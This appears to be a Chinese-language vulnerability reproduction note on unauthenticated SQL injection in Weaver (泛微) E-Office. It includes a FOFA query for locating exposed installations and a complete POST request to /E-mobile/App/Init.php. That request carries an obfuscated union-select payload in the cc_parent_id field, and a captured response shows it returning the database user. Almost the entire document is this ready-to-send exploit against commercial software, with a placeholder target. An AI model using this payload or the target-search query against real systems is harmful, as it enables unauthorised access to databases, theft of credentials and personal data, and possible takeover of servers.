

F8-13泛微-E-Office-SQL

漏洞描述：

泛微e-office json_common.php、flow_xml.php、sms_page.php、getUserLists、detail.php、Init.php等接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

网站图片：



网络测绘：

fofa语法：

app="泛微-EOffice"

漏洞复现：

payload：

```
POST /E-mobile/App/Init.php?m=getSelectList_Crm HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
cc_parent_id=-999+%2F%2A%2150000union%2A%2F+%2F%2A%2150000all%2A%2F+%2F%2A%2150000select%2A%2F+1%2C%28%2F%2A%2150000select%2A%2F+user%28%29%29%23
```

效果图：

查询当前用户

Request

1 POST /E-mobile/App/Init.php?m=getSelectList_Crm HTTP/1.1

2 Host :

3 Content-Type: application/x-www-form-urlencoded

4 Accept-Encoding: gzip

5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

6

7 cc_parent_id=-999+%2F%2A%2150000union%2A%2F+%2F%2A%2150000all%2A%2F+%2F%2A%2150000select%2A%2F+1%2C%28%2F%2A%2150000select%2A%2F+user%28%29%29%23

Responses 45bytes / 116ms

1 HTTP/1.1 200 OK

2 Date: Tue, 28 Nov 2023 12:17:40 GMT

3 Server: Apache/2.0.47 (Win32) PHP/5.2.5

4 X-Powered-By: PHP/5.2.5

5 Set-Cookie: LOGIN_LANG=cn; expires=Mon, 24

6 Content-Type: text/html; charset=utf-8

7 Content-Length: 45

8

9 [{"CC_NAME": "1", "CC_VALUE": "root@localhost"}]